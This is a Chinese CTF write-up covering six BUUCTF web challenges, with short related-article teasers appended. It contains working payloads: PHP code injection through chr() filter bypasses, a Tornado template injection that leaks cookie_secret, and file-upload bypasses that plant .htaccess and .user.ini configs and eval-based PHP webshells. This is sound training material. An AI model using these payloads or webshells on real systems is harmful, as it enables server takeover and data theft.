【BUUCTF web】通关 2.0

news2024/11/16 7:38:54
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

1、[RoarCTF 2019]Easy Calc

2、[极客大挑战 2019]BuyFlag

3、[HCTF 2018]admin

4、[护网杯 2018]easy_tornado

handler.settings

5、[GXYCTF2019]BabyUpload

.htaccess木马

6、[SUCTF 2019]CheckIn

.user.ini木马


1、[RoarCTF 2019]Easy Calc

flag{3d1e3a7c-463d-4cc0-b976-3e3fbe8b1894}

打开链接,发现是一个输入框,我们可以尝试sql注入,但是我尝试了很多,发现一输入字符串,就报错了,所以这里应该不是sql注入漏洞。

我们这里右击查看网页源代码,

源代码解释:

  • 通过 jQuery 选择器 $('#calc') 监听表单提交事件,并在提交时执行指定的函数。
  • 在提交事件中,通过 $.ajax() 发起一个 GET 请求到 calc.php,请求参数 num 的数值来自于输入框 #content 的值,并对其进行 URL 编码。
  • 如果请求成功,success 回调函数会将返回的数据插入到具有绿色背景色的提示框中,并显示在页面上。
  • 如果请求失败,error 回调函数会弹出一个警告框,提示"这啥?算不来!"。
  • 返回 false 会阻止表单的默认提交行为。

我们根据提示,访问calc.php/目录,发现是一段php代码审计

通过上面的分析,我们构造下面的payload:

calc.php? num=print_r(scandir('/')); //中间记得有个空格

请求参数 num 中的值 print_r(scandir('/')); 包含了括号和分号等符号,这些符号在黑名单中,因此会导致代码检测到黑名单字符而触发拒绝执行的逻辑,最终输出 “what are you want to do?” 错误信息。

那我们利用ASCII 值进行过滤,payload如下:

calc.php? num=print_r(scandir(chr(47)));

使用了 chr(47) 函数来生成 ASCII 值为 47 的字符,ASCII 值为 47 对应于斜杠 /。这样产生的结果和直接输入 / 是等价的。

输入后 可以浏览根目录下的文件,而其中的falgg就是我们要读取的文件

? num=print_r(file_get_contents('/flagg'));

其中/flagg 用chr进行绕过

? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); 

2、[极客大挑战 2019]BuyFlag

flag{6a2a46b6-6901-4548-828a-cce53bffab0a}

打开链接访问,右上角点击,然后再点击PAYFLAG按钮

没猜错的话,这个就是一个购买flag的功能点位置

右击查看网页源代码,发现一个注释的php代码审计

通过上面的php代码审计,我们可以利用password进行post传参,然后对is_numeric()进行过滤,我们可以用 404abc进行过滤

但是我无论怎么输入,他都报这个错误,并且没有回显别的内容说 只有Cuit的学生才能购买Flag,我们猜测,用户和cookie是相关联的,那么我们对用户的cookie进行查看

一看,发现cookie值是0,那么我改成1,再进行下一步

password=404abc

他让我支付flag,我们利用money参数进行支付

password=404abc&money=100000000

报错说我们的money估计金额被限制了,用数组绕一下

password=404abc&money[]=1

我们成功买到了flag,flag{6a2a46b6-6901-4548-828a-cce53bffab0a}

3、[HCTF 2018]admin

flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f}

打开题目,我们直接点击登录login页面,题目提示admin,说明这个题目要拿到admin用户,才可以查看到flag。

我们这里利用burp工具抓包尝试下密码破解,直接设置123为爆破对象

load选择字典,一般可以去网上找弱口令的爆破字典,GitHub上面还是蛮多的。

发现爆破成功了,密码就是123,属于弱口令

成功拿到flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f}

4、[护网杯 2018]easy_tornado

flag{4f63ee96-1064-4a5e-8d16-d92314041e1a}

一打开环境,发现存在三个.txt文件

/flag.txt中,告诉我们flag在 /fllllllllllllag里面

/welcome.txt文件里面,没有什么直接价值的信息

在hints.txt文件中发现md5计算,md5(cookie_secret+md5(filename))

在hints.txt文件中发现md5计算,md5(cookie_secret+md5(filename))

并且三个文件中都存在filehash(文件名被哈希算法加密32位小写)

所以,filehash就是md5(cookie_secret+md5(filename))

然后,filename就是/fllllllllllllag

现在只缺cookie_secret这个东西,只要有了cookie_secret,再通过这个md5(cookie_secret+md5(filename))公式进行计算即可获取到flag

查看题目的名字,tornado是python的一个模板,可以看出这道题是模板注入类的题目

通过修改filehash,发现报error的错

模板注入必须通过传输型如{{xxx}}的执行命令

/error?msg={{3*3}}

发现总是报ORZ,说明这个就是tornado模板注入

handler.settings

在 Tornado 中,handler.settings 是一个字典,用于存储和访问应用程序的设置信息。这个字典通常在 Tornado 的 RequestHandler 中使用,用于配置和传递应用程序的各种参数。

通过handler.settings,可以在处理请求的过程中访问和使用应用程序的配置信息,例如数据库连接信息、API 密钥、模板路径等。这样做的好处是可以将应用程序的配置信息集中管理,便于维护和修改。

开发者可以在创建 Tornado 的 Application 对象时通过传递 settings 参数来设置这些配置信息,然后在 RequestHandler 中通过 handler.settings 来获取并使用这些信息。例如:

# 创建 Tornado 应用程序时传入配置信息
app = tornado.web.Application(handlers=[(r'/', MainHandler)], settings={
    "debug": True,
    "database": {
        "host": "localhost",
        "port": 3306,
        "user": "root",
        "password": "password"
    }
})

# 在 RequestHandler 中访问配置信息
class MainHandler(tornado.web.RequestHandler):
    def get(self):
        debug_mode = self.settings.get("debug")
        db_host = self.settings.get("database").get("host")
        self.write(f"Debug Mode: {debug_mode}, Database Host: {db_host}")

通过handler.settings,可以方便地在 Tornado 应用程序中管理和使用各种配置参数,提高代码的可维护性和灵活性。

爆cookie_secret

error?msg={{handler.settings}}

得到cookie_secret447c8b25-6c6b-4229-8569-d6284192087e

按照公式进行加密

公式md5(cookie_secret+md5(filename))=b0b99193d1ce9c809265a3b6c4950133

最终payload:

file?filename=/fllllllllllllag&filehash=b0b99193d1ce9c809265a3b6c4950133

成功拿到flag{4f63ee96-1064-4a5e-8d16-d92314041e1a}

5、[GXYCTF2019]BabyUpload

这是一道文件上传的题目,我们先来尝试上传一个php后缀的木马上去,看看报错内容:后缀名不能有ph!

发现后缀是不可以有ph了,所以说什么双写绕过,phtml,大小写绕过都没有用,只能改后缀了,所以就想到只能用.htaccess文件进行文件上传了。

.htaccess木马文件内容(xiaoma.jpg为到时候后面进行木马上传jpg木马的文件名,因为这个.htaccess木马就是把xiaoma.jpg里面的内容当初php代码来执行)

<FilesMatch "xiaoma.jpg">
        SetHandler application/x-httpd-php  
</FilesMatch>
.htaccess木马

第一步:

右击发送两个包到repeater里面,我们后面要进行绕过。

第二步:

发现我们上传的.htaccess木马被暴露了,经过尝试,发现是Content-Type: 的原因,我们直接把Content-Type: 里面的内容改成jpg的 /image/jpeg,并且加上图片头:GIF89a

发现文件上传成功了

第三步:

我们写正常的一句话木马,竟然直接被它给识别出来了,应该是里面有<?php过滤了,那么我们换个木马进行绕过。

xiaoma.jpg木马:我们要把第二次发包的那个包里面的.htaccess名字改成xiaoma.jpg

GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

发现上传成功了,我们直接连接蚁剑,查看flag

第四步:

连接蚁剑,查看flag

6、[SUCTF 2019]CheckIn

flag{8efd51f4-988b-48b9-b1d2-c5888c2771b0}

题目是个文件上传,我们先上传一个xiaoma.jpg上去探测题目过滤内容

GIF89a
<?php
@eval($_POST['cmd']);
?>

报的这个错,说明对<?php进行了过滤,我们需要对一句话木马进行修改

GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

我们把木马后缀进行了修改,发现题目对ph进行了过滤,我开始尝试了利用.htaccess木马文件进行绕过,发现.htaccess确实是可以绕过,但是发现那个木马文件不能呗执行成php木马执行,让getshell。

这里我们利用.user.ini文件进行绕过。

.user.ini木马

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

GIF89a
auto_prepend_file=xiaoma.jpg

第一步:

先上传.user.ini木马,然后再重发两个包到Repeater里面,然后再改Content-Type: image/jpeg

发现上传成功了。

第二步:

把刚才重发的第二个包修改,然后上传。

第三步:

访问xiaoma.jpg那个上传成功包的目录位置,发现木马被成功执行了。

第四步:

连接蚁剑,然后getshell查看flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1483752.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

像用Excel一样用Python:pandasGUI

文章目录 启动数据导入绘图 启动 众所周知&#xff0c;pandas是Python中著名的数据挖掘模块&#xff0c;以处理表格数据著称&#xff0c;并且具备一定的可视化能力。而pandasGUI则为pandas打造了一个友好的交互窗口&#xff0c;有了这个&#xff0c;就可以像使用Excel一样使用…

关于网络安全从硬件防火墙防御到软件防御论述

服务器的硬防和软防是指对服务器进行保护和防御的两个层次。硬防主要是通过物理手段来保护服务器的安全&#xff0c;包括服务器的物理安全和硬件设备的安全。软防则是通过软件和配置来保护服务器的安全&#xff0c;包括操作系统的安全配置、网络安全配置、防火墙、入侵检测系统…

04-Linux实用操作

各种小技巧&#xff08;快捷键&#xff09; 强制停止 Ctrlc强制停止 Linux某些程序的运行&#xff0c;如果想要强制停止它&#xff0c;可以使用快捷键ctrlc 命令输入错误&#xff0c;也可以通过快捷键ctrlc&#xff0c;退出当前输入&#xff0c;重新输入 退出、登出 Ctrld退…

运用qsort函数进行快排并使用C语言模拟qsort

qsort 函数的使用 首先qsort函数是使用快速排序算法来进行排序的&#xff0c;下面我们打开官网来查看qsort是如何使用的。 这里有四个参数&#xff0c;首先base 是至待排序的数组的首元素的地址&#xff0c;num 是值这个数组的元素个数&#xff0c;size 是指每个元素的大小&am…

MySQL进阶之(三)InnoDB数据存储结构之数据页结构

三、InnoDB数据存储结构之数据页结构 3.1 数据库的存储结构3.1.1 MySQL 数据存储目录3.1.2 页的引入3.1.3 页的概述3.1.4 页的上层结构 3.2 数据页结构3.2.1 文件头和文件尾01、File Header&#xff08;文件头部&#xff09;02、File Trailer&#xff08;文件尾部&#xff09; …

麒麟银河操作系统V10部署ffmpeg(也能用于Linux系统)

麒麟银河操作系统V10部署ffmpeg(也能用于Linux系统) 部署ffmpeg用来处理视频的各种操作 想使用ffmpeg&#xff0c;要先安装nasm&#xff0c;yasm&#xff0c;x264之后&#xff0c;否则会报错 nkvers 查看麒麟操作系统版本 cat /proc/version #查看linux版本信息 uname -a …

C++:菱形继承问题

目录 1、什么是菱形继承 2、虚拟继承 3、一些常见问题 1. 什么是菱形继承&#xff1f;菱形继承的问题是什么&#xff1f; 2. 什么是菱形虚拟继承&#xff1f;如何解决数据冗余和二义性的 3. 继承和组合的区别&#xff1f;什么时候用继承&#xff1f;什么时候用组合&#…

模拟栈(数组实现)

题目描述&#xff1a; 代码模板&#xff1a; //push插入操作 void push(int x) {//让栈顶元素从0开始stk[ tt] x; }//pop弹出操作 void pop() {//直接把这个元素跳过&#xff08;相当于弹出&#xff09;tt--; }//empty判断是否为空操作 bool empty() {if(tt > 0) return …

程序员是如何看待“祖传代码”的?

目录 ​编辑 程序员是如何看待“祖传代码”的&#xff1f; 一、什么是“祖传代码”&#xff1f; 二、“祖传代码”的利弊 1. 可以节省开发成本 2. 可能引入安全隐患 3. 可能增加系统的维护难度 三、祖传代对程序员的影响 1. 丰富程序员的技能和知识 2. 提高程序员的创…

在两台CentOS 7服务器上部署MinIO集群---准确

环境说明&#xff1a; 2台Centos7服务器 IP地址分别为172.16.1.9和172.16.1.10 1. 创建minio用户和目录 在两台服务器上执行以下命令&#xff1a; sudo useradd -m -d /app/minio minio sudo mkdir -p /app/minioData sudo mkdir -p /app/minio/logs sudo chown -R mini…

范伟:你们怎么老提1,200呢,有什么典故啊?赵本山:没有啊!

范伟&#xff1a;你们怎么老提1,200呢,有什么典故啊?赵本山&#xff1a;没有啊&#xff01; --小品《面子》&#xff08;中3&#xff09;的台词 表演者&#xff1a;赵本山 高秀敏 范伟 &#xff08;接上&#xff09; 范伟&#xff1a;哎吃啊 赵&#xff1a;哎呀这电视看的挺…

什么是端点安全以及如何保护端点

什么是端点安全 端点是指可以接收信号的任何设备&#xff0c;是员工使用的一种计算设备&#xff0c;用于保存公司数据或可以访问 Internet。端点的几个示例包括&#xff1a;服务器、工作站&#xff08;台式机和笔记本电脑&#xff09;、移动设备、虚拟机、平板电脑、物联网、可…

Vue3_2024_1天【Vue3创建和响应式,对比Vue2】

前言&#xff1a; Vue3对比Vue2版本&#xff0c;它在性能、功能、易用性和可维护性方面都有显著的提升和改进。 性能优化&#xff1a;模板编译器的优化、对Proxy的支持以及使用了更加高效的Virtual DOM算法等。这使得Vue3的打包大小减少了41%&#xff0c;初次渲染提速55%&#…

【基础训练 || Test-1】

总言 主要内容&#xff1a;一些习题。       文章目录 总言一、选择1、for循环、操作符&#xff08;逗号表达式&#xff09;2、格式化输出&#xff08;转换说明符&#xff09;3、for循环、操作符&#xff08;逗号表达式、赋值和判等&#xff09;4、if语句、操作符&#xff…

如何根据PalWorldSettings.ini重新生成定制的WorldOption.sav文件?

这个过程涉及到将PalWorldSettings.ini 文件中的设置与WorldOption.sav 文件进行匹配和替换。具体的操作步骤可能包括检查PalWorldSettings.ini 文件中的设置是否与WorldOption.sav 文件中的设置相匹配&#xff0c;然后根据这些设置重新生成或修改WorldOption.sav 文件&#xf…

腾讯云学生云服务器_学生云主机_学生云数据库_云+校园特惠套餐

2024年腾讯云学生服务器优惠活动「云校园」&#xff0c;学生服务器优惠价格&#xff1a;轻量应用服务器2核2G学生价30元3个月、58元6个月、112元一年&#xff0c;轻量应用服务器4核8G配置191.1元3个月、352.8元6个月、646.8元一年&#xff0c;CVM云服务器2核4G配置842.4元一年&…

论文里点击如图?-?如何跳转到图片的题注

写论文&#xff0c;如何点击如图?-?然后光标自己能跳转到指定图片的题注之前呢&#xff1f; 首先&#xff0c;你要确定自己已经列好了标题&#xff0c;如几点几&#xff0c;几点几&#xff0c;比如我写到第三个章节的标题为 3.2 XXXXXXXXX 那么接下来后面的操作会出现图3-&…

Python中学习调试requests模块时出现的大坑(1)

为防止迷路: 学习机械相关,请关注公众号:南大盛联 学习软件,硬件,请关注公众号号:一训微课 cmd模式下 不知道上面这行的话,需要补课。 pip install requests 这个不知道的话,也要补课 pip是python的安装工具。 install是安装的意思 requests是我们需要安装的模…

腾讯云优惠券领取入口_先领取再下单_2024腾讯云优惠攻略

腾讯云优惠代金券领取入口共三个渠道&#xff0c;腾讯云新用户和老用户均可领取8888元代金券&#xff0c;可用于云服务器等产品购买、续费和升级使用&#xff0c;阿腾云atengyun.com整理腾讯云优惠券&#xff08;代金券&#xff09;领取入口、代金券查询、优惠券兑换码使用方法…

【C++庖丁解牛】类与对象

&#x1f4d9; 作者简介 &#xff1a;RO-BERRY &#x1f4d7; 学习方向&#xff1a;致力于C、C、数据结构、TCP/IP、数据库等等一系列知识 &#x1f4d2; 日后方向 : 偏向于CPP开发以及大数据方向&#xff0c;欢迎各位关注&#xff0c;谢谢各位的支持 目录 1.面向过程和面向对象…